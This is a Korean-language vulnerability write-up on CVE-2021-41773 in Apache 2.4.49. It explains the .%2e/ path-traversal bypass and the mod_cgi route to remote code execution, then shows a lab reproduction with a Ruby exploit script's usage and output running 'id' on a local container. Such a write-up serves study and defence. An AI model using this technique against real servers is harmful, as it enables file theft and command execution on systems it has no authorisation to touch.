
CVE-2021-41773 | Apache HTTP Server 2.4.49는 경로 탐색 및 원격 코드 실행 공격에 취약합니다.
CVE-2021-41773 National Vulnerability Database(NVD) CVE-2021-41773에 따르면, Apache HTTP Server 2.4.49는 경로 순회(Path Traversal) 및 원격 코드 실행(Remote Code Execution) 공격에 취약합니다.
경로 순회 취약점은 경로 정규화(즉, URL 경로에서 원치 않거나 위험한 부분을 제거하기 위해)를 위해 추가된 새로운 코드 변경으로 인해 발생했지만, 경로 순회 문자인 "점-점-슬래시(../)"를 인코딩하는 다양한 기술을 탐지하는 데 부적합했습니다.
경로 순회 공격을 방지하기 위해 요청된 URI에서 URL 인코딩된 값을 해석하는 정규화 함수는 유니코드 값을 한 번에 하나씩 처리했습니다. 따라서 두 번째 점을 %2e로 URL 인코딩하면 논리가 %2e를 점으로 인식하지 못하여 디코딩하지 않으며, 이로 인해 ../ 문자가 .%2e/로 변환되어 검사를 우회합니다.
경로 순회 검사 우회와 함께 Apache HTTP 서버가 취약해지려면 HTTP 서버 구성에 전체 서버 파일 시스템에 대한 디렉토리 지시어가 Require all granted로 포함되어 있거나, 디렉토리 지시어가 구성 파일에서 완전히 누락되어야 합니다.
따라서 점-점 검사를 .%2e로 우회하고 잘못 구성된 디렉토리 지시어와 연결하면 공격자는 취약한 서버 파일 시스템에서 passwd와 같은 임의의 파일을 읽을 수 있습니다.
CVE-2021-41773이 처음에는 경로 순회 및 파일 노출 취약점으로 문서화되었지만, 추가 연구 결과 Apache HTTP 서버에서 mod_cgi 모듈이 활성화된 경우 이 취약점을 더욱 악용하여 원격 코드 실행을 수행할 수 있음이 밝혀졌습니다. 이를 통해 공격자는 경로 순회 취약점을 활용하고 HTTP POST 요청을 사용하여 시스템의 모든 바이너리를 호출할 수 있습니다.
모듈은 Apache HTTP 서버의 설정 파일에서 위의 줄을 주석 처리하여 비활성화되어 있습니다. 따라서 mod_cgi가 활성화되고 파일 시스템 디렉토리 지시어에 "Require all granted" 구성이 적용된 경우 공격자는 Apache 서버에서 원격으로 명령을 실행할 수 있습니다.
#재현 방법
docker run -dit --name Apache -p 83:80 b0x
#컨테이너에 로그인하고 다음을 실행하세요
cp /bin/sh /usr/bin/
ruby CVE-2021-41773.rb
# c c wWw wWw -2021-41773
# (OO) (O) (O) wWw
# ,'.--.) ( / ) (O)_
# / //_|_ / / .' __)
# | ___ / / ( _)
# '. ) `--' / `.__)
# `-.' `-..-'
# Author:Habib
# ruby CVE-2021-41773.rb target_url dir command
# ruby CVE-2021-41773.rb http://localhost bin/sh whoami
ruby CVE-2121-41773.rb http://localhost:83
Target: http://localhost:83 is vulnerable
Command:
ruby CVE-2121-41773.rb http://localhost:83 bin/sh id Target: http://localhost:83 is vulnerable
Command: uid=1(daemon) gid=1(daemon) groups=1(daemon)